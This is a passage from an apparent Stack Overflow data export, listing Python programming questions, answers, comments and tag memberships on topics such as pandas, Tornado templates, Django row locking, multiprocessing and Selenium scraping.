has text: `key = lambda lbl, sim: -sim` is equivalent to `def key(lbl, sim): return -sim` but you can't put the latter into an expression.

http://stackoverflow.com/a/46911852
has body: It seems dtype of outlier column in outliers is float. Need same dtypes in both joined columns. Check it by: print (outliers['outlier'].dtype) print (sum_Day['bikeid'].dtype) So use astype for convert: outliers['outlier'] = outliers['outlier'].astype(int) #if not int #sum_Day['bikeid'] = sum_Day['bikeid'].astype(int) EDIT: If some NaNs in outlier column is not possible convert to int, first is necessary remove NaNs: outliers = outliers.dropna('outlier') outliers['outlier'] = outliers['outlier'].astype(int)
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80772806
answers question: http://stackoverflow.com/q/46911814
upvote count: 2
downvote count: 0
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/46911814

arrays
tags question: http://stackoverflow.com/q/46936733
tag name: arrays
tags question: http://stackoverflow.com/q/46995190
tags question: http://stackoverflow.com/q/46962288
tags question: http://stackoverflow.com/q/46987762
tags question: http://stackoverflow.com/q/47042471
tags question: http://stackoverflow.com/q/47043554
type: Tag
tags question: http://stackoverflow.com/q/47036860
tags question: http://stackoverflow.com/q/47057332
tags question: http://stackoverflow.com/q/46989880
tags question: http://stackoverflow.com/q/46980587
tags question: http://stackoverflow.com/q/47064007
tags question: http://stackoverflow.com/q/47060775
tags question: http://stackoverflow.com/q/47004637
tags question: http://stackoverflow.com/q/46968520
tags question: http://stackoverflow.com/q/47000849
tags question: http://stackoverflow.com/q/46992631
tags question: http://stackoverflow.com/q/47044792
tags question: http://stackoverflow.com/q/46972161
tags question: http://stackoverflow.com/q/46917236
tags question: http://stackoverflow.com/q/46979790
tags question: http://stackoverflow.com/q/47019010
tags question: http://stackoverflow.com/q/46980273
tags question: http://stackoverflow.com/q/46914738
tags question: http://stackoverflow.com/q/47014262
tags question: http://stackoverflow.com/q/46987050
tags question: http://stackoverflow.com/q/46938718
tags question: http://stackoverflow.com/q/46948821
tags question: http://stackoverflow.com/q/47025141
tags question: http://stackoverflow.com/q/47012747
tags question: http://stackoverflow.com/q/46912465
tags question: http://stackoverflow.com/q/47040170
tags question: http://stackoverflow.com/q/46983061
tags question: http://stackoverflow.com/q/46962198
tags question: http://stackoverflow.com/q/46931434
tags question: http://stackoverflow.com/q/47037946
tags question: http://stackoverflow.com/q/46975321
tags question: http://stackoverflow.com/q/46910370
tags question: http://stackoverflow.com/q/46983424
tags question: http://stackoverflow.com/q/47012227
tags question: http://stackoverflow.com/q/46980001
tags question: http://stackoverflow.com/q/46947798
tags question: http://stackoverflow.com/q/46962153
tags question: http://stackoverflow.com/q/47062007
tags question: http://stackoverflow.com/q/46962722
tags question: http://stackoverflow.com/q/47039284
tags question: http://stackoverflow.com/q/46923717
tags question: http://stackoverflow.com/q/47051123
tags question: http://stackoverflow.com/q/46912685
tags question: http://stackoverflow.com/q/47040884
tags question: http://stackoverflow.com/q/46951800
tags question: http://stackoverflow.com/q/47006070
tags question: http://stackoverflow.com/q/46991464
tags question: http://stackoverflow.com/q/47005815
tags question: http://stackoverflow.com/q/46936893
tags question: http://stackoverflow.com/q/47002059
tags question: http://stackoverflow.com/q/46990093
tags question: http://stackoverflow.com/q/46960841
tags question: http://stackoverflow.com/q/46923003
tags question: http://stackoverflow.com/q/47050754
tags question: http://stackoverflow.com/q/46950742
tags question: http://stackoverflow.com/q/46994327
tags question: http://stackoverflow.com/q/46965886
tags question: http://stackoverflow.com/q/47011729
tags question: http://stackoverflow.com/q/46938334
tags question: http://stackoverflow.com/q/47060035
tags question: http://stackoverflow.com/q/47042026
tags question: http://stackoverflow.com/q/46952690
tags question: http://stackoverflow.com/q/46952742
tags question: http://stackoverflow.com/q/46991735
tags question: http://stackoverflow.com/q/47026828
tags question: http://stackoverflow.com/q/46987220
tags question: http://stackoverflow.com/q/47063151
tags question: http://stackoverflow.com/q/46992100
tags question: http://stackoverflow.com/q/46990022
tags question: http://stackoverflow.com/q/46940199
tags question: http://stackoverflow.com/q/46994426
tags question: http://stackoverflow.com/q/47030896
tags question: http://stackoverflow.com/q/47033805

http://stackoverflow.com/q/46909838
type: AnsweredQuestion
score: 0
has body: I am struggling to move data from my tornado webserver to a javascript handsontable. I think the problem is related to escaping or encoding my data properly, but I can't figure it out. Here's the python code. I am taking a list of lists and encoding it as json. class hot_index(tornado.web.RequestHandler): def get(self): self.render("hot_tradedata.html", data=json.dumps([ ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'], ['2017', 10, 11, 12, 13, 15, 16], ['2018', 10, 11, 12, 13, 15, 16], ['2019', 10, 11, 12, 13, 15, 16], ['2020', 10, 11, 12, 13, 15, 16], ['2021', 10, 11, 12, 13, 15, 16] ]) ) if __name__ == "__main__": app = tornado.web.Application( handlers=[(r"/hot", hot_index)], static_path=os.path.join(os.path.dirname(__file__), "static"), template_path=os.path.join(os.path.dirname(__file__), "templates") Here's the handsontable code. I'd like the table to populate with the data I defined in my python function. &lt;div id="example1"&gt;&lt;/div&gt; &lt;script&gt; var data1 = {{data}}, container1 = document.getElementById('example1'), settings1 = { data: data1 }, hot1; hot1 = new Handsontable(container1, settings1); hot1.render(); &lt;/script&gt; The browser console indicates that the the data successfully was passed to the html page, but it looks like the javascript doesn't like the input. I think I need to escape the {{data}} differently? &lt;body&gt;&lt;div id="example1"&gt;&lt;/div&gt; &lt;script&gt; var data1 = [[&amp;quot;&amp;quot;, &amp;quot;Tesla&amp;quot;, &amp;quot;Nissan&amp;quot;, &amp;quot;Toyota&amp;quot;, &amp;quot;Honda&amp;quot;, &amp;quot;Mazda&amp;quot;, &amp;quot;Ford&amp;quot;], [&amp;quot;2017&amp;quot;, 10, 11, 12, 13, 15, 16], [&amp;quot;2018&amp;quot;, 10, 11, 12, 13, 15, 16], [&amp;quot;2019&amp;quot;, 10, 11, 12, 13, 15, 16], [&amp;quot;2020&amp;quot;, 10, 11, 12, 13, 15, 16], [&amp;quot;2021&amp;quot;, 10, 11, 12, 13, 15, 16]], container1 = document.getElementById('example1'), settings1 = { data: data1 }, hot1; hot1 = new Han…
tagged with: handsontable
answer count: 1
accepted answer: http://stackoverflow.com/a/46911412
has title: Rendering custom data in handsontable with the Tornado module in python
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/46911412
tagged with: python
tagged with: tornado

http://stackoverflow.com/q/46973569
tagged with: python
tagged with: arcpy
score: 0
has comment: http://stackoverflow.com/comment/80908249
has title: Encoding Error with Topo To Raster
upvote count: 1
answer count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/47010395
has body: I'm relativley new to python and I already found a ton of questions and answers about encoding and the UnicodeEncodeError, but I can't figure it out for my specific problem and keep getting this error: "UnicodeEncodeError: 'ascii' codec can't encode character u'\xf8' in position 7: ordinal not in range(128)". I am using IDLE Python 2.7.12 I want to use the arcGis tool TopoToRaster for a set of ca. 200 lakes. I have one folder containing 200 folders(one for each lake), in each lake-folder there are three shapefiles with names lakename_P.shp for points, lakename_B.shp for polygon/boundary and lakename_L.shp for polyline. The lakes are danish lakes and therefore almost all contain ø, æ and/or å in the folder names and shp names. I am iterating through the single folders with a for loop and run the tool for every lake taking the right feature classes as an input. I found this code, which actually works with my code, but I can't print anything with it and i am also aware of the disatvantages so I want to avoid it. import sys reload(sys) sys.setdefaultencoding('utf8') other solutions used the .encoding when reading and writing files, which I don't really do. Can anyone recomend a solution other than reload(sys). Maybe I just have to put the .encoding somewhere, but I really don't know where and how to. I am thankfull for every help but want to mention that I already read all the Python Unicode HOWTO and other blog posts. -*- coding: iso-8859-15 -*- import arcpy from arcpy import env from arcpy.sa import * path = "//projects/soer" arcpy.env.workspace = path arcpy.env.overwriteOutput = True # Check out the ArcGIS Spatial Analyst extension license arcpy.CheckOutExtension("Spatial") wss = arcpy.ListWorkspaces("*", "Folder") wss.sort() for ws in wss: arcpy.env.workspace = ws for polygon in arcpy.ListFeatureClasses(feature_type = "Polygon"): myBoundary = polygon for point in arcpy.ListFeatureClasses(feature_type = "Point"): myPoint = point for polyline in arcpy.ListFeatureClass…
favorite count: 0
has comment: http://stackoverflow.com/comment/80967025
type: Question
tagged with: encoding
type: UnansweredQuestion

http://stackoverflow.com/q/46945790
upvote count: 4
possible better answer: http://stackoverflow.com/a/46946019
answer count: 2
has answer: http://stackoverflow.com/a/46946019
downvote count: 0
tagged with: django
has body: The Django docs for select_for_update say Using select_for_update() on backends which do not support SELECT ... FOR UPDATE (such as SQLite) will have no effect. SELECT ... FOR UPDATE will not be added to the query, and an error isn’t raised if select_for_update() is used in autocommit mode. This strikes me as an odd and potentially dangerous decision, especially since select_for_update is used to lock rows. If I write code that uses select_for_update, I would rely on it actually being honored! If the DB backend doesn't support it, I would expect Django to either fall back to a safe-but-less-efficient alternative or, if one doesn't exist, to throw an exception of some kind. In this case it seems like Django could suddenly and silently reintroduce race conditions by just ignoring select_for_update on DBs where it's not supported (such as SQLite). My intuition says Django wouldn't do that and there must be some reason why it's not needed if not supported (perhaps engines where it's not supported use complete database locking?) but I can't seem to find anything concrete in the docs to back up that theory. It doesn't seem like this issue is necessarily specific to Django, either. This is making me very leery of using select_for_update even though it would solve some current problems nicely.
has title: Why could select_for_update simply be ignored with databases that don't support it?
score: 4
has comment: http://stackoverflow.com/comment/80838750
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46949541
linked to: http://stackoverflow.com/q/10935850
has answer: http://stackoverflow.com/a/46949541
tagged with: sql
tagged with: sqlite
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/80838811
type: Question

http://stackoverflow.com/a/47031636
has comment: http://stackoverflow.com/comment/81010284
type: Answer
has comment: http://stackoverflow.com/comment/81049803
answers question: http://stackoverflow.com/q/47013268
score: 5
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47013268
type: AcceptedAnswer
has body: The multiprocessing.Pool relies on a single os.pipe to deliver the tasks to the workers. Usually on Unix, the default pipe size range from 4 to 64 Kb in size. If the JSONs you are delivering are large in size, you might get the pipe clogged at any given point in time. This means that, while one of the workers is busy reading the large JSON from the pipe, all the other workers will starve. It is generally a bad practice to share large data via IPC as it leads to bad performance. This is even underlined in the multiprocessing programming guidelines. Avoid shared state As far as possible one should try to avoid shifting large amounts of data between processes. Instead of reading the JSON files in the main process, just send the workers their file names and let them open and read the content. You will surely notice an improvement in performance because you are moving the JSON loading phase in the concurrent domain as well. Note that the same is true also for the results. A single os.pipe is used to return the results to the main process as well. If one or more workers clog the results pipe then you will get all the processes waiting for the main one to drain it. Large results should be written to files as well. You can then leverage multithreading on the main process to quickly read back the results from the files.
has comment: http://stackoverflow.com/comment/81050137
upvote count: 5
has comment: http://stackoverflow.com/comment/81040679

http://stackoverflow.com/q/46919968
has title: Using python flask and pexpect works on flask development server fails with WSGI
has answer: http://stackoverflow.com/a/62195793
tagged with: pexpect
upvote count: 1
score: 1
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/80788107
type: Question
has body: I am writing a tool for internal use at work. A user enters a router or switch IP address, username and password into a web form. The app then uses pexpect to SSH into the device, downloads a configuration and tests that the configuration complies with various standards by running true/false tests (e.g. hostname is set). Leaving aside whether this is a good idea or not, my problem is that when I run the program under the Flask development program it works fine. When I set it up to run under WSGI it fails at the SSH portion with the error: pexpect.exceptions.ExceptionPexpect: The command was not found or was not executable: ssh. I tried uWSGI and Unicorn and played with the number of workers etc. to no avail. I suspect this is a setuid root thing. Google searches do not point to a solution. Can anyone lead me to a fix? If pexpect will not work, I may give up and require the user to upload a config file they save themselves but I am frustrated that this works on the flask development server but not a production server.
downvote count: 0
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/80790341
tagged with: flask

http://stackoverflow.com/q/46908136
tagged with: classname
has comment: http://stackoverflow.com/comment/80763010
has comment: http://stackoverflow.com/comment/80770789
tagged with: python
has comment: http://stackoverflow.com/comment/80766655
has body: I would like to select elements by the class name, but only with a specific name(first-level-li), if there are other classes with the name that I am trying to select but followed for other names (&lt;li class="first-level-li no-second-level shop-link"&gt; &lt;li class="first-level-li no-second-level "&gt;) , I need to ignore them, how can I do this? Example: firstLevelMenu = self.driver.find_elements_by_class_name ( "first-level-li" ) website &lt;li class="first-level-li no-second-level shop-link"&gt; &lt;li class="first-level-li no-second-level "&gt; &lt;li class="first-level-li "&gt;
has answer: http://stackoverflow.com/a/46908276
type: Question
has answer: http://stackoverflow.com/a/46908522
has comment: http://stackoverflow.com/comment/80765407
downvote count: 0
upvote count: 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80765484
has comment: http://stackoverflow.com/comment/80766713
tagged with: selenium
has title: Selecting elements by specific Class Name
has answer: http://stackoverflow.com/a/46908208
favorite count: 0
answer count: 3
score: 1

http://stackoverflow.com/comment/80761910
has text: My point is simply that `sum` works as long as for each element in the iterable, `e1 + e2` works.
comment on: http://stackoverflow.com/a/46907061
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/comment/80867163
type: QuestionComment
score: 3
type: Comment
comment on: http://stackoverflow.com/q/46920454
has text: If your question was answered, please reward the efforts of those who helped you. Accept the most helpful answer. You can also upvote all other useful answers. Please make it a habit, it helps the community.

http://stackoverflow.com/comment/80806450
type: QuestionComment
comment on: http://stackoverflow.com/q/46929420
has text: This Will Work. `pd.concat([df1.drop('Ref', 1), df2], axis=1)`
type: Comment
score: 0

http://stackoverflow.com/q/46966318
has comment: http://stackoverflow.com/comment/80880332
tagged with: phantomjs
has comment: http://stackoverflow.com/comment/80880443
has title: selenium.common.exceptions.NoSuchElementException: Message: {"errorMessage":"Unable to find element with id 'search-facet-city'"
has comment: http://stackoverflow.com/comment/80881149
has comment: http://stackoverflow.com/comment/80880965
tagged with: python
has comment: http://stackoverflow.com/comment/80880534
has comment: http://stackoverflow.com/comment/80880993
score: 0
type: UnansweredQuestion
answer count: 1
tagged with: selenium
has comment: http://stackoverflow.com/comment/80880704
has body: I am trying to scrape the following website using Python 3, Selenium, and PhantomJS: https://health.usnews.com/best-hospitals/search I need to locate a search field and enter text into it, and then press enter to generate the search results. Below is the HTML that corresponds to the search field I am trying to locate: &lt;div class="search-field-view"&gt; &lt;div class="block-tight"&gt; &lt;label class="" for="search-facet-city"&gt; &lt;input id="search-facet-city" autocomplete="off" name="city" type="text" data-field-type="text" placeholder="City, State or ZIP" value="" /&gt; &lt;/label&gt; &lt;/div&gt; &lt;/div&gt; Below is my Python 3 code that attempts to locate this search field using the id "search-facet-city." def scrape(self): url = 'https://health.usnews.com/best-hospitals/search' location = 'Massachusetts' # Instantiate the driver driver = webdriver.PhantomJS() driver.get(url) driver.maximize_window() driver.implicitly_wait(10) elem = driver.find_element_by_id("search-facet-city") elem.send_keys(self.location) driver.close() I need to scrape some results from the page once the text is entered into the search field. However, I keep getting a NoSuchElementException error; it is not able to locate the search box element despite the fact that it exists. How can I fix this?
type: Question
has answer: http://stackoverflow.com/a/46972388

http://stackoverflow.com/a/46959675
type: Answer
score: 0
has body: You have to patch the name used in the code you are testing; in this case, it is https_post_json (imported directly into the module namespace). Your patch would be correct if iaw_api_runners.py just used import plugins and _this_runner ran _task_id = plugins.iaw_api.helpers.https_post_json(...).
answers question: http://stackoverflow.com/q/46959449

http://stackoverflow.com/a/46982282
has comment: http://stackoverflow.com/comment/80912836
score: 5
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/118806605
accepted answer of: http://stackoverflow.com/q/46965200
upvote count: 5
answers question: http://stackoverflow.com/q/46965200
type: Answer
has body: Thanks for sharing the example of what this data looks like. First of all, nesting xarray.DataArray objects as scalars inside a pandas.DataFrame is highly non-standard way of working with xarray and pandas. I don't recommend it. If every entry is a DataArray that shares (some of) the same dimensions, the easiest way to work with your data is as an xarray.Dataset, xarray's version of a multi-dimensional pandas.DataFrame. That said, it should be straightforward to convert your data from this format into unnested objects are easier to work with. The best place to start is with Series.values, which extract a column as a 1D numpy array. Then you can iterate through the series and convert each DataArray into a numpy array with .values, too. Putting this together: population_numpy_array = np.stack( [data_array.values for data_array in df['Population'].values]) Alternatively, you could stack the DataArray objects using xarray. That would preserve labels, which would make your data easier to work with: population_data_array = xr.concat(df['Population'].values, dim='row_name') You could potentially even convert your full object into an xarray.Dataset for joint analysis: ds = xr.Dataset({k: xr.concat(df[k].values, dim='row_name') for k in df.keys()}) (Arguably, that's exactly what PySD should be doing.)

http://stackoverflow.com/q/46910048
has answer: http://stackoverflow.com/a/46910244
tagged with: python
score: 0
has title: Exacting count of link Images
answer count: 2
has body: I am trying to find the number of images (extensions .jpg, .png , jpeg) with the link through python. I can use any library such as beautifulsoup. But how do I do it. I am using following code : from bs4 import BeautifulSoup soup = BeautifulSoup(open('HTMLS%5C110k_Source.htm'), "html.parser") img_links = len(soup.find_all('.jpg')) print("Number of Images : ", img_links) But all in vain.
has answer: http://stackoverflow.com/a/46910255
tagged with: web-scraping
tagged with: html-parsing
type: Question
tagged with: beautifulsoup
type: UnansweredQuestion

http://stackoverflow.com/q/46994246
has comment: http://stackoverflow.com/comment/80936154
has answer: http://stackoverflow.com/a/46994657
tagged with: python
tagged with: color-detection
answer count: 1
downvote count: 0
score: 1
upvote count: 1
has body: When I use any color space converter it only gives me single values for H,S and L but how to determine the range boundaries from this, also the converters gives me S &amp; L values in % not value in the range from 0-255. I need to use this color selection in a python pipeline. Any help ?
favorite count: 0
has title: How to determine upper and lower boundaries for HSL color detection ?
type: Question
tagged with: opencv
type: UnansweredQuestion

pool
tags question: http://stackoverflow.com/q/47013268
tag name: pool
type: Tag
tags question: http://stackoverflow.com/q/46962814
tags question: http://stackoverflow.com/q/47045972
tags question: http://stackoverflow.com/q/47039553

http://stackoverflow.com/a/46995173
has comment: http://stackoverflow.com/comment/80936785
downvote count: 0
answers question: http://stackoverflow.com/q/46995107
has body: You can encode with unicode-escape and decode back to a string: hex_escaped = string.encode('unicode-escape').decode('ascii') print('print this: %s, and be done' % (hex_escaped,))
type: Answer
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/80956328

http://stackoverflow.com/a/46917585
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46917491
type: Answer
has body: You are not getting an error, it's a warning. The prediction will still be printed right after the warning message. The solution is listed in the warning as well: Reshape your data either using X.reshape(-1, 1) if your data has a single feature or X.reshape(1, -1) if it contains a single sample. Which gets rid of the warning as promised: &gt;&gt; print(clf.predict(np.array([10,10]).reshape(1,-1))) [1]
answers question: http://stackoverflow.com/q/46917491
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/80783205
downvote count: 0

http://stackoverflow.com/q/47002129
has answer: http://stackoverflow.com/a/47002561
tagged with: http://stackoverflow.com/tag/csv
accepted answer: http://stackoverflow.com/a/47002561
has title: Only the first and third element printed from python list to csv file
tagged with: python
has answer: http://stackoverflow.com/a/47002646
possible better answer: http://stackoverflow.com/a/47002646
score: 2
upvote count: 2
type: AnsweredQuestion
has body: I am trying write a list to a csv file. I face several problems. writer = csv.writer(f) AttributeError: 'list' object has no attribute 'writer' I used this link to solve it and it worked, and only printed the second for without writing the first and third for. this is the code writen by @gumboy csv = [['1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0'], ['2', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0'], ['3', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0']] csvdict = {words[0]:words[1:] for words in csv} for x in csvdict.keys(): # iterate over the keys '1', '2', .... products = [index+1 for index,v in enumerate(csvdict[x]) if v == '1' ] # create list of purchases where the '1's are indexed print ("costummer", x, "buy", products) The idea is to replace list that contains 1 with the list index. This problem is solved already. When I used the link above to solve the first problem, the code ran but did not write into the csv file. I tried to combine the solution from the first problem with @gumboy code and here is the code: csvdict = {words[0]:words[1:] for words in csv} for x in csvdict.keys(): # iterate over the keys '1', '2', .... products = [index+1 for index,v in enumerate(csvdict[x]) if v == '1' ] # create list of purchases where the '1's are indexed #print (products) f = open("H.csv", 'w') hasil = ("costummer", x, "buy", products) hasilstr = (','.join([str(x) for…
tagged with: list
answer count: 2
linked to: http://stackoverflow.com/q/5618878
downvote count: 0
tagged with: loops
favorite count: 0
type: Question

http://stackoverflow.com/a/46997313
score: 2
type: Answer
has comment: http://stackoverflow.com/comment/80941272
upvote count: 2
has body: This should work for you: def remove(l1, l2): return [char1 for char1, char2 in zip(l1, l2) if char1 != char2] def search(a, b): elim = remove(a, b) return ['y' for char in set(elim) if char in b] print(search(['L', 'F', 'V', 'V'], ['V', 'F', 'O', 'R'])) output: ['y'] I used set(elim) to remove the duplicates from the list created by remove().
downvote count: 0
answers question: http://stackoverflow.com/q/46997241

http://stackoverflow.com/comment/80852148
has text: You mean what I've tried that is relevant to this problem? If so, nothing.
score: 0
comment on: http://stackoverflow.com/q/46952574
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80794289
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46922157
has text: So, no commas or anything other than digits, dots and spaces in the file ?
type: Comment

http://stackoverflow.com/q/47016113
has comment: http://stackoverflow.com/comment/80979124
has comment: http://stackoverflow.com/comment/80978520
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/80978577
has comment: http://stackoverflow.com/comment/80978796
tagged with: xpath
type: AnsweredQuestion
upvote count: 0
tagged with: printing
tagged with: xvfb
has answer: http://stackoverflow.com/a/47016344
accepted answer: http://stackoverflow.com/a/47016344
answer count: 1
downvote count: 1
tagged with: dryscrape
favorite count: 0
type: Question
has title: Getting too many result on python browser
has body: Friends i want to extract live scores on espncricinfo i try with dryscrape :- Import dryscrape as d d.start_xvfb() br = d.Session() br.visit('http://www.espncricinfo.com/ci/engine/match/index.html?view=live') for x in br.xpath('//*[@class = "innings-info-1"]'): x #print 4 results for y in br.xpath('//*[@class = "innings-info-2"]'): y #print 4 results of 2nd innings #but when i try combian then print tooo many results for x in br.xpath('//*[@class = "innings-info-1"]'): for y in br.xpath('//*[@class = "innings-info-2"]'): x,'\n',y #need 4+4=8 results but python prints 16 results Please help me
has comment: http://stackoverflow.com/comment/80980513

http://stackoverflow.com/comment/80959004
type: QuestionComment
score: 0
has text: send image source as ajax post request.
comment on: http://stackoverflow.com/q/47005119
type: Comment

http://stackoverflow.com/comment/81014285
comment on: http://stackoverflow.com/q/47033324
score: 0
type: Comment
type: QuestionComment
has text: @RajKris sure! post

http://stackoverflow.com/a/46975625
type: Answer
score: 0
answers question: http://stackoverflow.com/q/46975559
has comment: http://stackoverflow.com/comment/80898919
has body: &gt;&gt;&gt; date = "2017-02-10" &gt;&gt;&gt; command = "cd " + date + "; pwd; echo missing &gt; 123.txt" &gt;&gt;&gt; import os &gt;&gt;&gt; os.system(command)
has comment: http://stackoverflow.com/comment/80898870

http://stackoverflow.com/q/47003827
has answer: http://stackoverflow.com/a/47004067
answer count: 3
score: 1
has body: I'm using construct 2.8 to reverse engineer the header of some files created by some long-lost Pascal program. The header is made of a number of different records, some of which are optional, and I'm not sure whether the order is fixed or not. For instance, two of the records look like this: header_record_filetype = cs.Struct( 'record_type' / cs.Int8ub, 'file_type' / cs.PascalString(cs.Int16ub), 'unknown' / cs.Int8ub ) header_record_user = cs.Struct( 'record_type' / cs.Int8ub, 'user' / cs.PascalString(cs.Int16ub) ) And I've identified half a dozen more. How would I go about getting the parser to choose the correct record type based on the record_type member for an unknown number of records until it comes across a record with type 0 (or reaches the end of the file)?
accepted answer: http://stackoverflow.com/a/47004209
tagged with: python
has answer: http://stackoverflow.com/a/47004209
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/49413395
has title: Python construct - parsing a variable number of variable length records
has answer: http://stackoverflow.com/a/49413395
downvote count: 0
upvote count: 1
tagged with: construct
type: AnsweredQuestion

http://stackoverflow.com/comment/81035089
comment on: http://stackoverflow.com/a/47043423
score: 1
type: Comment
type: AnswerComment
has text: @WaltReed I use [`np.r_`](https://docs.scipy.org/doc/numpy-1.13.0/reference/generated/numpy.r_.html) to convert your index slice to a range of indices. For example [0, 4] becomes [0, 1, 2, 3, 4, 5]. I then use this to index into the dataframe to get all row slices.

http://stackoverflow.com/tag/html
tags question: http://stackoverflow.com/q/46960499
tags question: http://stackoverflow.com/q/46938148
tags question: http://stackoverflow.com/q/47004520
tags question: http://stackoverflow.com/q/47008277
tags question: http://stackoverflow.com/q/47037853
tags question: http://stackoverflow.com/q/46951157
tags question: http://stackoverflow.com/q/46951248
tags question: http://stackoverflow.com/q/46978722
tags question: http://stackoverflow.com/q/46913873
tags question: http://stackoverflow.com/q/46961171
tags question: http://stackoverflow.com/q/47060408
tags question: http://stackoverflow.com/q/47034637
tags question: http://stackoverflow.com/q/46953983
tags question: http://stackoverflow.com/q/47005119
tags question: http://stackoverflow.com/q/46934143
tags question: http://stackoverflow.com/q/47048906
tags question: http://stackoverflow.com/q/46924583
tags question: http://stackoverflow.com/q/46933679
tags question: http://stackoverflow.com/q/47049378
tags question: http://stackoverflow.com/q/46938138
tags question: http://stackoverflow.com/q/46962152
tags question: http://stackoverflow.com/q/46957927
tags question: http://stackoverflow.com/q/47042536
tags question: http://stackoverflow.com/q/46912533
tags question: http://stackoverflow.com/q/47047998
tags question: http://stackoverflow.com/q/46946218
type: Tag
tag name: html
tags question: http://stackoverflow.com/q/46962174
tags question: http://stackoverflow.com/q/46988602
tags question: http://stackoverflow.com/q/46948542
tags question: http://stackoverflow.com/q/46939222
tags question: http://stackoverflow.com/q/46996413
tags question: http://stackoverflow.com/q/46996378
tags question: http://stackoverflow.com/q/47024635
tags question: http://stackoverflow.com/q/47059431
tags question: http://stackoverflow.com/q/46906762
tags question: http://stackoverflow.com/q/46925144
tags question: http://stackoverflow.com/q/47040153
tags question: http://stackoverflow.com/q/46984560
tags question: http://stackoverflow.com/q/47059212

http://stackoverflow.com/comment/91804691
type: QuestionComment
has text: I think, it requires two images atleast to train the dataset.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/46968477

http://stackoverflow.com/tag/xml
tags question: http://stackoverflow.com/q/47031779
tags question: http://stackoverflow.com/q/47036719
tags question: http://stackoverflow.com/q/47031017
tags question: http://stackoverflow.com/q/46907195
tags question: http://stackoverflow.com/q/46917904
tags question: http://stackoverflow.com/q/46990443
tag name: xml
tags question: http://stackoverflow.com/q/46976956
tags question: http://stackoverflow.com/q/47048755
tags question: http://stackoverflow.com/q/47003083
tags question: http://stackoverflow.com/q/46984560
tags question: http://stackoverflow.com/q/47058742
tags question: http://stackoverflow.com/q/47009407
tags question: http://stackoverflow.com/q/46964609
tags question: http://stackoverflow.com/q/46974972
tags question: http://stackoverflow.com/q/46915815
tags question: http://stackoverflow.com/q/46983175
tags question: http://stackoverflow.com/q/46958721
type: Tag
tags question: http://stackoverflow.com/q/47010198
tags question: http://stackoverflow.com/q/46941548
tags question: http://stackoverflow.com/q/47061136
tags question: http://stackoverflow.com/q/47009388
tags question: http://stackoverflow.com/q/47011119
tags question: http://stackoverflow.com/q/47041212
tags question: http://stackoverflow.com/q/46984061
tags question: http://stackoverflow.com/q/46949651
tags question: http://stackoverflow.com/q/46923392
tags question: http://stackoverflow.com/q/46931940
tags question: http://stackoverflow.com/q/47021031
tags question: http://stackoverflow.com/q/46988393
tags question: http://stackoverflow.com/q/47013605
tags question: http://stackoverflow.com/q/47061157
tags question: http://stackoverflow.com/q/46959107
tags question: http://stackoverflow.com/q/47020470
tags question: http://stackoverflow.com/q/46931790
tags question: http://stackoverflow.com/q/47018651
tags question: http://stackoverflow.com/q/46989213

http://stackoverflow.com/q/46989264
has answer: http://stackoverflow.com/a/46989432
type: AnsweredQuestion
upvote count: 3
score: 3
tagged with: python
tagged with: regex
favorite count: 0
has body: I have a string input of s = 'horse dog cat bear' for which I want to change the order of the words as cat horse dog bear The corresponding re would be &gt;&gt;&gt; import re &gt;&gt;&gt; s = 'horse dog cat bear' &gt;&gt;&gt; print re.sub(r'(horse )(dog )?(cat )(bear)', r'\3\1\2\4', s) cat horse dog bear I used (dog )?, because I still want to match the string when dog is not there. Thus output should be cat horse bear. But when I tried, I encountered the following error as -- &gt;&gt;&gt; s = 'horse cat bear' &gt;&gt;&gt; print re.sub(r'(horse )(dog )?(cat )(bear)', r'\3\1\2\4', s) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/usr/lib/python2.7/re.py", line 155, in sub return _compile(pattern, flags).sub(repl, string, count) File "/usr/lib/python2.7/re.py", line 291, in filter return sre_parse.expand_template(template, match) File "/usr/lib/python2.7/sre_parse.py", line 831, in expand_template raise error, "unmatched group" sre_constants.error: unmatched group &gt;&gt;&gt; How can I get the output, even if dog is not there?
accepted answer: http://stackoverflow.com/a/46989316
type: Question
has answer: http://stackoverflow.com/a/46989316
answer count: 2
possible better answer: http://stackoverflow.com/a/46989432
downvote count: 0
has title: How to ignore unmatched group in a string in re python?

http://stackoverflow.com/a/46994329
